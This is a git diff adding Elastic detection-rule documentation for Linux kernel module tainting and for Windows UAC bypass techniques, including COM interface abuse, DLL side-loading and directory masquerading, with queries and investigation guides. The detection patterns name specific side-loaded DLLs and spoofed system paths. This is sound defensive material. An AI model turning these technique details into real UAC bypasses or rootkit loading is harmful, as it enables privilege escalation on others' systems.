system to identify any additional signs of compromise or persistence mechanisms. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if other systems are affected. +- Implement enhanced monitoring and logging for kernel module loads and other critical system activities to detect similar threats in the future. +- Review and update system and network access controls to ensure only authorized personnel can load kernel modules, reducing the risk of unauthorized changes. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from one of the following integrations: +- Filebeat + + +*Filebeat Setup* + +Filebeat is a lightweight shipper for forwarding and centralizing log data. Installed as an agent on your servers, Filebeat monitors the log files or locations that you specify, collects log events, and forwards them either to Elasticsearch or Logstash for indexing. + + +*The following steps should be executed in order to add the Filebeat for the Linux System:* + +- Elastic provides repositories available for APT and YUM-based distributions. Note that we provide binary packages, but no source packages. +- To install the APT and YUM repositories follow the setup instructions in this https://www.elastic.co/guide/en/beats/filebeat/current/setup-repositories.html[helper guide]. +- To run Filebeat on Docker follow the setup instructions in the https://www.elastic.co/guide/en/beats/filebeat/current/running-on-docker.html[helper guide]. +- To run Filebeat on Kubernetes follow the setup instructions in the https://www.elastic.co/guide/en/beats/filebeat/current/running-on-kubernetes.html[helper guide]. +- For quick start information for Filebeat refer to the https://www.elastic.co/guide/en/beats/filebeat/8.11/filebeat-installation-configuration.html[helper guide]. +- For complete Setup and Run Filebeat information refer to the https://www.elastic.co/guide/en/beats/filebeat/current/setting-up-and-running.html[helper guide]. + + +*Rule Specific Setup Note* + +- This rule requires the Filebeat System Module to be enabled. +- The system module collects and parses logs created by the system logging service of common Unix/Linux based distributions. +- To run the system module of Filebeat on Linux follow the setup instructions in the https://www.elastic.co/guide/en/beats/filebeat/current/filebeat-module-system.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +host.os.type:linux and data_stream.dataset:"system.syslog" and process.name:kernel and +message:"module verification failed: signature and/or required key missing - tainting kernel" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Boot or Logon Autostart Execution +** ID: T1547 +** Reference URL: https://attack.mitre.org/techniques/T1547/ +* Sub-technique: +** Name: Kernel Modules and Extensions +** ID: T1547.006 +** Reference URL: https://attack.mitre.org/techniques/T1547/006/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Rootkit +** ID: T1014 +** Reference URL: https://attack.mitre.org/techniques/T1014/ +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Boot or Logon Autostart Execution +** ID: T1547 +** Reference URL: https://attack.mitre.org/techniques/T1547/ +* Sub-technique: +** Name: Kernel Modules and Extensions +** ID: T1547.006 +** Reference URL: https://attack.mitre.org/techniques/T1547/006/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-tainted-out-of-tree-kernel-module-load.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-tainted-out-of-tree-kernel-module-load.asciidoc new file mode 100644 index 0000000000..21e03645a4 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-tainted-out-of-tree-kernel-module-load.asciidoc @@ -0,0 +1,167 @@ +[[prebuilt-rule-8-19-21-tainted-out-of-tree-kernel-module-load]] +=== Tainted Out-Of-Tree Kernel Module Load + +This rule monitors the syslog log file for messages related to instances of a out-of-tree kernel module load, indicating the taining of the kernel. Rootkits often leverage kernel modules as their main defense evasion technique. Detecting tainted kernel module loads is crucial for ensuring system security and integrity, as malicious or unauthorized modules can compromise the kernel and lead to system vulnerabilities or unauthorized access. + +*Rule type*: query + +*Rule indices*: + +* logs-system.syslog-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Persistence +* Tactic: Defense Evasion +* Resources: Investigation Guide + +*Version*: 8 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Tainted Out-Of-Tree Kernel Module Load* + + +Kernel modules extend the functionality of the Linux kernel without rebooting the system. While beneficial, out-of-tree modules, not included in the official kernel source, can taint the kernel, posing security risks. Adversaries exploit this by loading malicious modules to evade detection and maintain persistence. The detection rule monitors syslog for specific messages indicating such module loads, helping identify potential threats early. + + +*Possible investigation steps* + + +- Review the syslog entries around the time of the alert to gather additional context about the module load event, focusing on messages with "loading out-of-tree module taints kernel." +- Identify the specific out-of-tree kernel module that was loaded by examining the syslog message details and cross-reference with known legitimate modules. +- Check the system for any recent changes or installations that might have introduced the out-of-tree module, such as software updates or new applications. +- Investigate the source and integrity of the module by verifying its origin and comparing its hash against known good or malicious hashes. +- Assess the system for any signs of compromise or unauthorized access, focusing on persistence mechanisms and defense evasion tactics, as indicated by the MITRE ATT&CK framework references. +- Consult with system administrators or relevant stakeholders to determine if the module load was authorized or expected as part of normal operations. + + +*False positive analysis* + + +- Legitimate third-party drivers or hardware support modules may trigger alerts when loaded as out-of-tree modules. Users should verify the source and purpose of these modules to ensure they are not malicious. +- Custom-built modules for specific applications or hardware optimizations can also cause false positives. Users can create exceptions for these modules by adding them to an allowlist if they are verified as safe and necessary for system operations. +- Development and testing environments often load experimental or custom modules that are not part of the official kernel. In such cases, users should document these modules and exclude them from alerts to avoid unnecessary noise. +- Regularly updated or patched modules from trusted vendors might not be immediately recognized as safe. Users should maintain a list of trusted vendors and update their exception lists accordingly to prevent false positives. +- Some security tools or monitoring solutions may use out-of-tree modules for enhanced functionality. Users should ensure these tools are from reputable sources and exclude their modules from detection rules if they are confirmed to be secure. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent potential lateral movement by the adversary. +- Identify and unload the suspicious out-of-tree kernel module using the `rmmod` command to remove it from the kernel. +- Conduct a thorough review of the system's kernel module load history and verify the legitimacy of all loaded modules. +- Perform a comprehensive malware scan on the affected system to detect and remove any additional malicious software. +- Restore the system from a known good backup if the integrity of the system cannot be assured after module removal. +- Implement stricter access controls and monitoring for kernel module loading to prevent unauthorized module loads in the future. +- Escalate the incident to the security operations team for further investigation and to assess the need for broader organizational response measures. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from one of the following integrations: +- Filebeat + + +*Filebeat Setup* + +Filebeat is a lightweight shipper for forwarding and centralizing log data. Installed as an agent on your servers, Filebeat monitors the log files or locations that you specify, collects log events, and forwards them either to Elasticsearch or Logstash for indexing. + + +*The following steps should be executed in order to add the Filebeat for the Linux System:* + +- Elastic provides repositories available for APT and YUM-based distributions. Note that we provide binary packages, but no source packages. +- To install the APT and YUM repositories follow the setup instructions in this https://www.elastic.co/guide/en/beats/filebeat/current/setup-repositories.html[helper guide]. +- To run Filebeat on Docker follow the setup instructions in the https://www.elastic.co/guide/en/beats/filebeat/current/running-on-docker.html[helper guide]. +- To run Filebeat on Kubernetes follow the setup instructions in the https://www.elastic.co/guide/en/beats/filebeat/current/running-on-kubernetes.html[helper guide]. +- For quick start information for Filebeat refer to the https://www.elastic.co/guide/en/beats/filebeat/8.11/filebeat-installation-configuration.html[helper guide]. +- For complete Setup and Run Filebeat information refer to the https://www.elastic.co/guide/en/beats/filebeat/current/setting-up-and-running.html[helper guide]. + + +*Rule Specific Setup Note* + +- This rule requires the Filebeat System Module to be enabled. +- The system module collects and parses logs created by the system logging service of common Unix/Linux based distributions. +- To run the system module of Filebeat on Linux follow the setup instructions in the https://www.elastic.co/guide/en/beats/filebeat/current/filebeat-module-system.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +host.os.type:linux and data_stream.dataset:"system.syslog" and process.name:kernel and +message:"loading out-of-tree module taints kernel." + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Boot or Logon Autostart Execution +** ID: T1547 +** Reference URL: https://attack.mitre.org/techniques/T1547/ +* Sub-technique: +** Name: Kernel Modules and Extensions +** ID: T1547.006 +** Reference URL: https://attack.mitre.org/techniques/T1547/006/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Rootkit +** ID: T1014 +** Reference URL: https://attack.mitre.org/techniques/T1014/ +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Boot or Logon Autostart Execution +** ID: T1547 +** Reference URL: https://attack.mitre.org/techniques/T1547/ +* Sub-technique: +** Name: Kernel Modules and Extensions +** ID: T1547.006 +** Reference URL: https://attack.mitre.org/techniques/T1547/006/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-uac-bypass-attempt-via-elevated-com-internet-explorer-add-on-installer.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-uac-bypass-attempt-via-elevated-com-internet-explorer-add-on-installer.asciidoc new file mode 100644 index 0000000000..b9b2bd9bc6 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-uac-bypass-attempt-via-elevated-com-internet-explorer-add-on-installer.asciidoc @@ -0,0 +1,152 @@ +[[prebuilt-rule-8-19-21-uac-bypass-attempt-via-elevated-com-internet-explorer-add-on-installer]] +=== UAC Bypass Attempt via Elevated COM Internet Explorer Add-On Installer + +Identifies User Account Control (UAC) bypass attempts by abusing an elevated COM Interface to launch a malicious program. Attackers may attempt to bypass UAC to stealthily execute code with elevated permissions. + +*Rule type*: eql + +*Rule indices*: + +* winlogbeat-* +* logs-endpoint.events.process-* +* logs-windows.sysmon_operational-* +* endgame-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://swapcontext.blogspot.com/2020/11/uac-bypasses-from-comautoapprovallist.html + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Privilege Escalation +* Tactic: Defense Evasion +* Tactic: Execution +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Sysmon +* Data Source: Microsoft Defender XDR +* Data Source: SentinelOne +* Resources: Investigation Guide + +*Version*: 314 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating UAC Bypass Attempt via Elevated COM Internet Explorer Add-On Installer* + + +User Account Control (UAC) is a security feature in Windows designed to prevent unauthorized changes by prompting for elevated permissions. Adversaries may exploit elevated COM interfaces, such as the Internet Explorer Add-On Installer, to bypass UAC and execute malicious code with higher privileges. The detection rule identifies suspicious processes originating from temporary directories, launched by the IE installer with specific arguments, indicating potential UAC bypass attempts. + + +*Possible investigation steps* + + +- Review the process details to confirm the executable path matches the pattern "C:\\*\\AppData\\*\\Temp\\IDC*.tmp\\*.exe" and verify if it is expected or known within the environment. +- Investigate the parent process "ieinstal.exe" to determine if its execution is legitimate, checking for any unusual or unexpected usage patterns. +- Examine the command-line arguments used by the parent process, specifically looking for the "-Embedding" argument, to understand the context of its execution. +- Check the code signature of the suspicious process to determine if it is signed by a trusted entity, and assess the trustworthiness of the signature if present. +- Correlate this event with other security alerts or logs from data sources like Elastic Endgame, Elastic Defend, Sysmon, Microsoft Defender XDR, or SentinelOne to identify any related malicious activity. +- Investigate the user account associated with the process to determine if there are any signs of compromise or unauthorized access attempts. +- Assess the risk and impact of the potential UAC bypass attempt on the system and broader network, and take appropriate containment or remediation actions if necessary. + + +*False positive analysis* + + +- Legitimate software installations or updates may trigger the rule if they temporarily use the specified directory structure. Users can monitor the frequency and context of these alerts to determine if they align with known software behaviors. +- Development or testing environments might generate alerts due to the execution of scripts or applications from temporary directories. Users can create exceptions for specific environments or processes that are known to be safe. +- System administrators or IT personnel performing legitimate administrative tasks might inadvertently trigger the rule. Users can exclude specific user accounts or processes from monitoring if they are verified as non-threatening. +- Automated software deployment tools that use temporary directories for installation processes may cause false positives. Users can whitelist these tools by verifying their code signatures and adding them to an exception list. +- Regularly review and update the list of trusted applications and processes to ensure that only verified and necessary exceptions are in place, minimizing the risk of overlooking genuine threats. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further unauthorized access or lateral movement. +- Terminate any suspicious processes identified by the detection rule, specifically those originating from temporary directories and launched by "ieinstal.exe" with the "-Embedding" argument. +- Conduct a thorough review of the affected system to identify any additional unauthorized changes or malware installations, focusing on temporary directories and COM interface usage. +- Restore the system to a known good state using backups or system restore points, ensuring that any malicious changes are reversed. +- Update and patch the affected system to the latest security updates to mitigate known vulnerabilities that could be exploited for UAC bypass. +- Implement application whitelisting to prevent unauthorized executables from running, particularly those in temporary directories. +- Escalate the incident to the security operations team for further investigation and to assess the potential impact on other systems within the network. + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and + process.executable : "C:\\*\\AppData\\*\\Temp\\IDC*.tmp\\*.exe" and + process.parent.name : "ieinstal.exe" and process.parent.args : "-Embedding" + + /* uncomment once in winlogbeat */ + /* and not (process.code_signature.subject_name == "Microsoft Corporation" and process.code_signature.trusted == true) */ + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Abuse Elevation Control Mechanism +** ID: T1548 +** Reference URL: https://attack.mitre.org/techniques/T1548/ +* Sub-technique: +** Name: Bypass User Account Control +** ID: T1548.002 +** Reference URL: https://attack.mitre.org/techniques/T1548/002/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: System Binary Proxy Execution +** ID: T1218 +** Reference URL: https://attack.mitre.org/techniques/T1218/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Inter-Process Communication +** ID: T1559 +** Reference URL: https://attack.mitre.org/techniques/T1559/ +* Sub-technique: +** Name: Component Object Model +** ID: T1559.001 +** Reference URL: https://attack.mitre.org/techniques/T1559/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-uac-bypass-attempt-via-privileged-ifileoperation-com-interface.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-uac-bypass-attempt-via-privileged-ifileoperation-com-interface.asciidoc new file mode 100644 index 0000000000..da10bcd855 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-uac-bypass-attempt-via-privileged-ifileoperation-com-interface.asciidoc @@ -0,0 +1,151 @@ +[[prebuilt-rule-8-19-21-uac-bypass-attempt-via-privileged-ifileoperation-com-interface]] +=== UAC Bypass Attempt via Privileged IFileOperation COM Interface + +Identifies attempts to bypass User Account Control (UAC) via DLL side-loading. Attackers may attempt to bypass UAC to stealthily execute code with elevated permissions. + +*Rule type*: eql + +*Rule indices*: + +* winlogbeat-* +* logs-endpoint.events.file-* +* logs-windows.sysmon_operational-* +* endgame-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://github.com/hfiref0x/UACME +* https://www.elastic.co/security-labs/exploring-windows-uac-bypasses-techniques-and-detection-strategies + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Privilege Escalation +* Tactic: Defense Evasion +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Sysmon +* Data Source: Microsoft Defender XDR +* Data Source: SentinelOne +* Resources: Investigation Guide + +*Version*: 314 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating UAC Bypass Attempt via Privileged IFileOperation COM Interface* + + +The IFileOperation COM interface is a Windows component used for file operations with elevated privileges. Adversaries exploit this by side-loading malicious DLLs into processes like dllhost.exe, bypassing UAC to gain elevated permissions stealthily. The detection rule identifies such attempts by monitoring changes in specific DLLs loaded into high-integrity processes, filtering out benign system paths to reduce false positives. + + +*Possible investigation steps* + + +- Review the alert details to confirm the process name is "dllhost.exe" and verify the integrity level of the process to ensure it is running with high or system integrity. +- Check the file name involved in the alert to see if it matches any of the known malicious DLLs such as "wow64log.dll", "comctl32.dll", "DismCore.dll", "OskSupport.dll", "duser.dll", or "Accessibility.ni.dll". +- Investigate the file path of the loaded DLL to ensure it does not originate from benign system paths like "C:\Windows\SoftwareDistribution\" or "C:\Windows\WinSxS\". +- Analyze the parent process of "dllhost.exe" to determine how it was initiated and whether it aligns with expected behavior or indicates potential compromise. +- Review recent system changes or installations that might have introduced the suspicious DLL, focusing on any unauthorized or unexpected software installations. +- Correlate the event with other security logs or alerts from data sources such as Elastic Endgame, Elastic Defend, Sysmon, Microsoft Defender XDR, or SentinelOne to identify any related suspicious activities or patterns. +- Assess the risk and impact of the potential UAC bypass attempt and determine if further containment or remediation actions are necessary. + + +*False positive analysis* + + +- System updates and installations can trigger false positives due to legitimate changes in DLLs. Exclude paths related to Windows updates and installations, such as C:\Windows\SoftwareDistribution\* and C:\Windows\WinSxS\*. +- Certain legitimate software may use DLLs like comctl32.dll or duser.dll in a manner that mimics side-loading. Identify and whitelist these applications if they are known and trusted within your environment. +- Security software or system management tools might perform operations that resemble UAC bypass attempts. Review and exclude these tools if they are verified as safe and necessary for your operations. +- Regularly review and update the list of known benign DLLs and paths to ensure that new legitimate software does not trigger false positives. +- Monitor for patterns of repeated false positives from specific processes or paths and consider creating exceptions for these scenarios after thorough validation. + + +*Response and remediation* + + +- Isolate the affected system from the network to prevent further unauthorized access or lateral movement. +- Terminate the dllhost.exe process if it is confirmed to be involved in the UAC bypass attempt to stop any ongoing malicious activity. +- Conduct a thorough scan of the affected system using updated antivirus or endpoint detection and response (EDR) tools to identify and remove any malicious DLLs or associated malware. +- Review and restore any modified system files or settings to their original state to ensure system integrity. +- Apply any pending security patches and updates to the operating system and installed software to mitigate known vulnerabilities. +- Monitor the network for any signs of similar activity or attempts to exploit the IFileOperation COM interface on other systems. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional systems are affected. + +==== Rule query + + +[source, js] +---------------------------------- +file where host.os.type == "windows" and event.type : "change" and process.name : "dllhost.exe" and + /* Known modules names side loaded into process running with high or system integrity level for UAC Bypass, update here for new modules */ + file.name : ("wow64log.dll", "comctl32.dll", "DismCore.dll", "OskSupport.dll", "duser.dll", "Accessibility.ni.dll") and + /* has no impact on rule logic just to avoid OS install related FPs */ + not file.path : ("C:\\Windows\\SoftwareDistribution\\*", "C:\\Windows\\WinSxS\\*") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Abuse Elevation Control Mechanism +** ID: T1548 +** Reference URL: https://attack.mitre.org/techniques/T1548/ +* Sub-technique: +** Name: Bypass User Account Control +** ID: T1548.002 +** Reference URL: https://attack.mitre.org/techniques/T1548/002/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Abuse Elevation Control Mechanism +** ID: T1548 +** Reference URL: https://attack.mitre.org/techniques/T1548/ +* Sub-technique: +** Name: Bypass User Account Control +** ID: T1548.002 +** Reference URL: https://attack.mitre.org/techniques/T1548/002/ +* Technique: +** Name: Hijack Execution Flow +** ID: T1574 +** Reference URL: https://attack.mitre.org/techniques/T1574/ +* Sub-technique: +** Name: DLL +** ID: T1574.001 +** Reference URL: https://attack.mitre.org/techniques/T1574/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-uac-bypass-attempt-via-windows-directory-masquerading.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-uac-bypass-attempt-via-windows-directory-masquerading.asciidoc new file mode 100644 index 0000000000..b874fa0a0b --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-uac-bypass-attempt-via-windows-directory-masquerading.asciidoc @@ -0,0 +1,161 @@ +[[prebuilt-rule-8-19-21-uac-bypass-attempt-via-windows-directory-masquerading]] +=== UAC Bypass Attempt via Windows Directory Masquerading + +Identifies an attempt to bypass User Account Control (UAC) by masquerading as a Microsoft trusted Windows directory. Attackers may bypass UAC to stealthily execute code with elevated permissions. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-system.security* +* logs-windows.forwarded* +* logs-windows.sysmon_operational-* +* winlogbeat-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://medium.com/tenable-techblog/uac-bypass-by-mocking-trusted-directories-24a96675f6e + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Privilege Escalation +* Tactic: Defense Evasion +* Resources: Investigation Guide +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Windows Security Event Logs +* Data Source: Microsoft Defender XDR +* Data Source: Sysmon +* Data Source: SentinelOne +* Data Source: Crowdstrike + +*Version*: 322 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating UAC Bypass Attempt via Windows Directory Masquerading* + + +Windows User Account Control (UAC) allows a program to elevate its privileges (tracked as low to high integrity levels) to perform a task under administrator-level permissions, possibly by prompting the user for confirmation. UAC can deny an operation under high-integrity enforcement, or allow the user to perform the action if they are in the local administrators group and enter an administrator password when prompted. + +For more information about the UAC and how it works, check the https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works[official Microsoft docs page]. + +This rule identifies an attempt to bypass User Account Control (UAC) by masquerading as a Microsoft trusted Windows directory. Attackers may bypass UAC to stealthily execute code with elevated permissions. + +> **Note**: +> This investigation guide uses the https://www.elastic.co/guide/en/security/current/invest-guide-run-osquery.html[Osquery Markdown Plugin] introduced in Elastic Stack version 8.5.0. Older Elastic Stack versions will display unrendered Markdown in this guide. + + +*Possible investigation steps* + + +- Investigate the process execution chain (parent process tree) for unknown processes. Examine their executable files for prevalence, whether they are located in expected locations, and if they are signed with valid digital signatures. +- Investigate other alerts associated with the user/host during the past 48 hours. +- Inspect the host for suspicious or abnormal behavior in the alert timeframe. +- Investigate any abnormal behavior by the subject process such as network connections, registry or file modifications, and any spawned child processes. +- Examine the host for derived artifacts that indicate suspicious activities: + - Analyze any suspicious spawned processes using a private sandboxed analysis system. + - Observe and collect information about the following activities in both the sandbox and the alert subject host: + - Attempts to contact external domains and addresses. + - Use the Elastic Defend network events to determine domains and addresses contacted by the subject process by filtering by the process' `process.entity_id`. + - Examine the DNS cache for suspicious or anomalous entries. + - !{osquery{"label":"Osquery - Retrieve DNS Cache","query":"SELECT * FROM dns_cache"}} + - Use the Elastic Defend registry events to examine registry keys accessed, modified, or created by the related processes in the process tree. + - Examine the host services for suspicious or anomalous entries. + - !{osquery{"label":"Osquery - Retrieve All Services","query":"SELECT description, display_name, name, path, pid, service_type, start_type, status, user_account FROM services"}} + - !{osquery{"label":"Osquery - Retrieve Services Running on User Accounts","query":"SELECT description, display_name, name, path, pid, service_type, start_type, status, user_account FROM services WHERE\nNOT (user_account LIKE '%LocalSystem' OR user_account LIKE '%LocalService' OR user_account LIKE '%NetworkService' OR\nuser_account == null)\n"}} + - !{osquery{"label":"Osquery - Retrieve Service Unsigned Executables with Virustotal Link","query":"SELECT concat('https://www.virustotal.com/gui/file/', sha1) AS VtLink, name, description, start_type, status, pid,\nservices.path FROM services JOIN authenticode ON services.path = authenticode.path OR services.module_path =\nauthenticode.path JOIN hash ON services.path = hash.path WHERE authenticode.result != 'trusted'\n"}} + - Retrieve the files' SHA-256 hash values using the PowerShell `Get-FileHash` cmdlet and search for the existence and reputation of the hashes in resources like VirusTotal, Hybrid-Analysis, CISCO Talos, Any.run, etc. +- Investigate potentially compromised accounts. Analysts can do this by searching for login events (for example, 4624) to the target host after the registry modification. + + +*False positive analysis* + + +- This activity is unlikely to happen legitimately. Benign true positives (B-TPs) can be added as exceptions if necessary. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Isolate the involved host to prevent further post-compromise behavior. +- If the triage identified malware, search the environment for additional compromised hosts. + - Implement temporary network rules, procedures, and segmentation to contain the malware. + - Stop suspicious processes. + - Immediately block the identified indicators of compromise (IoCs). + - Inspect the affected systems for additional malware backdoors like reverse shells, reverse proxies, or droppers that attackers could use to reinfect the system. +- Remove and block malicious artifacts identified during triage. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and + process.args : ("C:\\Windows \\system32\\*.exe", "C:\\Windows \\SysWOW64\\*.exe") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Abuse Elevation Control Mechanism +** ID: T1548 +** Reference URL: https://attack.mitre.org/techniques/T1548/ +* Sub-technique: +** Name: Bypass User Account Control +** ID: T1548.002 +** Reference URL: https://attack.mitre.org/techniques/T1548/002/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Masquerading +** ID: T1036 +** Reference URL: https://attack.mitre.org/techniques/T1036/ +* Sub-technique: +** Name: Match Legitimate Resource Name or Location +** ID: T1036.005 +** Reference URL: https://attack.mitre.org/techniques/T1036/005/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-uac-bypass-attempt-with-ieditionupgrademanager-elevated-com-interface.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-uac-bypass-attempt-with-ieditionupgrademanager-elevated-com-interface.asciidoc new file mode 100644 index 0000000000..0473c17543 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-uac-bypass-attempt-with-ieditionupgrademanager-elevated-com-interface.asciidoc @@ -0,0 +1,153 @@ +[[prebuilt-rule-8-19-21-uac-bypass-attempt-with-ieditionupgrademanager-elevated-com-interface]] +=== UAC Bypass Attempt with IEditionUpgradeManager Elevated COM Interface + +Identifies attempts to bypass User Account Control (UAC) by abusing an elevated COM Interface to launch a rogue Windows ClipUp program. Attackers may attempt to bypass UAC to stealthily execute code with elevated permissions. + +*Rule type*: eql + +*Rule indices*: + +* winlogbeat-* +* logs-endpoint.events.process-* +* logs-windows.sysmon_operational-* +* endgame-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://github.com/hfiref0x/UACME + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Privilege Escalation +* Tactic: Defense Evasion +* Tactic: Execution +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Sysmon +* Data Source: Microsoft Defender XDR +* Data Source: SentinelOne +* Resources: Investigation Guide + +*Version*: 313 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating UAC Bypass Attempt with 